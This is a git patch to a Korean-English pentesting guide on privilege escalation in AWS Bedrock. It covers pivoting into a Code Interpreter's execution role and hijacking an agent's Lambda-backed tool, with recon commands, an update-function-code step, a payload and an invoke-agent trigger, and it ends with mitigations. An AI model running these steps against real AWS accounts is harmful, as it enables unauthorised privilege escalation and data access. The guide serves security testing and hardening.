From 2f6320a8d614a61d6d98e94b1c1db30f65603578 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Apr 2026 08:20:55 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-bedrock-privesc/README.md | 123 ++++++++++++++---- 1 file changed, 96 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index c75ddf4c1..23cfa4475 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter는 관리형 실행 환경입니다. **Custom Code Interpreters**는 **`executionRoleArn`**으로 구성될 수 있으며, 이는 “code interpreter가 AWS 서비스에 접근할 수 있는 권한을 제공합니다”. +AgentCore Code Interpreter는 managed execution environment이다. **Custom Code Interpreters**는 **`executionRoleArn`**으로 설정할 수 있으며, 이는 “code interpreter가 AWS services에 access할 수 있도록 permissions를 제공”한다. -만약 **lower-privileged IAM principal**이 **start + invoke** 권한으로 더 높은 권한의 **execution role**로 구성된 Code Interpreter 세션을 시작하고 호출할 수 있다면, 호출자는 실질적으로 **execution role의 권한으로 pivot**할 수 있습니다 (role 범위에 따라 lateral movement / privilege escalation). +만약 **lower-privileged IAM principal**이 더 **privileged execution role**로 configured된 Code Interpreter session을 **start + invoke**할 수 있다면, 호출자는 사실상 **execution role의 permissions로 pivot**할 수 있다 (role scope에 따라 lateral movement / privilege escalation). > [!NOTE] -> 이것은 일반적으로 **misconfiguration / excessive permissions** 문제입니다 (interpreter execution role에 광범위한 권한을 부여하거나 넓은 invoke 접근을 허용하는 경우). -> AWS는 명시적으로 execution roles가 invoke를 허용하는 identities보다 **equal or fewer** 권한을 갖도록 하여 privilege escalation을 방지할 것을 경고합니다. +> 이는 일반적으로 **misconfiguration / excessive permissions** 문제이다 (interpreter execution role에 너무 넓은 permissions를 부여하고/or broad invoke access를 부여하는 것). +> AWS는 execution roles가 invoke 권한이 있는 identities보다 **같거나 더 적은** privileges를 갖도록 하여 privilege escalation을 피하라고 명시적으로 경고한다. #### Preconditions (common misconfiguration) -- 권한이 과다한 **execution role**로 구성된 **custom code interpreter**가 존재합니다 (예: 민감한 S3/Secrets/SSM 접근 또는 IAM-admin-유사 권한). -- 사용자(개발자/감사자/CI identity)가 다음 권한을 가지고 있습니다: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Optional) 사용자는 또한 interpreters를 생성할 수 있습니다: `bedrock-agentcore:CreateCodeInterpreter` (조직의 가드레일에 따라 execution role로 구성된 새 interpreter를 생성할 수 있게 합니다). +- **custom code interpreter**가 존재하며, 지나치게 privileged한 **execution role**을 가진다 (예: sensitive S3/Secrets/SSM 또는 IAM-admin-like capabilities access). +- 사용자(developer/auditor/CI identity)가 다음 permissions를 가진다: +- sessions 시작: `bedrock-agentcore:StartCodeInterpreterSession` +- tools invoke: `bedrock-agentcore:InvokeCodeInterpreter` +- (Optional) 사용자가 interpreter를 생성할 수도 있다: `bedrock-agentcore:CreateCodeInterpreter` (org guardrails에 따라 execution role이 설정된 새 interpreter를 만들 수 있게 한다). -#### Recon (identify custom interpreters and execution role usage) +#### Recon (custom interpreters and execution role usage 식별) -인터프리터를 나열(control-plane)하고 구성 정보를 확인하세요: +List interpreters (control-plane) and inspect their configuration: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` -> create-code-interpreter command은 인터프리터가 갖게 될 AWS 권한을 정의하는 `--execution-role-arn`을 지원합니다. +``` +> create-code-interpreter 명령은 interpreter가 가질 AWS permissions를 정의하는 `--execution-role-arn`을 지원합니다. -#### 1단계 - 세션 시작 (이것은 `sessionId`를 반환하며, 대화형 쉘이 아닙니다) +#### Step 1 - 세션 시작하기 (이것은 interactive shell이 아니라 `sessionId`를 반환합니다) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### 단계 2 - 코드 실행 호출 (Boto3 또는 서명된 HTTPS) +#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) -`start-code-interpreter-session`에서는 **interactive python shell**이 없습니다. 실행은 **InvokeCodeInterpreter**를 통해 이루어집니다. +There is **no interactive python shell** from `start-code-interpreter-session`. Execution happens via **InvokeCodeInterpreter**. -**옵션 A - Boto3 예제 (Python 실행 + 신원 확인):** +**Option A - Boto3 example (execute Python + verify identity):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -인터프리터가 execution role로 구성되어 있다면, `sts:GetCallerIdentity()` 출력은 저권한 호출자(low-priv caller)가 아닌 해당 역할의 신원을 반영해야 하며, 이는 pivot을 입증합니다. +인터프리터가 execution role로 구성되어 있으면, `sts:GetCallerIdentity()` 출력은 그 role의 identity(낮은 권한의 caller가 아님)를 반영해야 하며, 이를 통해 pivot이 입증됩니다. -**옵션 B - 서명된 HTTPS 호출 (awscurl):** +**옵션 B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -89,16 +89,84 @@ awscurl -X POST \ ``` #### 영향 -* **Lateral movement**: 인터프리터 실행 역할이 가진 모든 AWS 접근 권한으로의 이동. -* **Privilege escalation**: 인터프리터 실행 역할이 호출자보다 더 높은 권한을 가진 경우 권한 상승 발생. -* CloudTrail data events가 인터프리터 호출에 대해 활성화되어 있지 않으면 탐지가 더 어려움(구성에 따라 호출이 기본적으로 로그되지 않을 수 있음). +* **Lateral movement** into whatever AWS access the interpreter execution role has. +* **Privilege escalation** if the interpreter execution role is more privileged than the caller. +* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration). -#### 완화 조치 / 보안 강화 +#### Mitigations / Hardening -* **Least privilege** on the interpreter `executionRoleArn` (Lambda execution roles / CI roles처럼 취급). -* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) 및 세션을 시작할 수 있는 주체를 제한. -* Use **SCPs**로 승인된 agent runtime roles를 제외하고 InvokeCodeInterpreter를 거부(조직 수준의 강제가 필요할 수 있음). -* 적용 가능한 경우 AgentCore에 대해 적절한 **CloudTrail data events**를 활성화; 예기치 않은 호출 및 세션 생성에 대해 경보 생성. +* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions. +* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary). +* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation. + +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**. + +> [!NOTE] +> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent. + +#### Preconditions (common misconfiguration) + +- A Bedrock Agent exists with an **action group backed by a Lambda function** +- The attacker has: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- The Lambda execution role has broader permissions than the attacker +- The attacker can identify the Lambda used by the agent + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Lambda 검사: +```bash +aws lambda get-function --function-name +``` +#### Exploitation + +Lambda code 교체: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Example payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +Trigger via agent: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` +#### Impact + +* **Privilege escalation** into Lambda execution role +* **Data exfiltration** from AWS services +* **Cross-service abuse** via trusted agent execution + +#### Mitigations + +* **Restrict** `lambda:UpdateFunctionCode` +* Use **least-privilege** Lambda roles +* **Monitor** Lambda code changes +* **Audit** Bedrock agent tool usage ## References @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}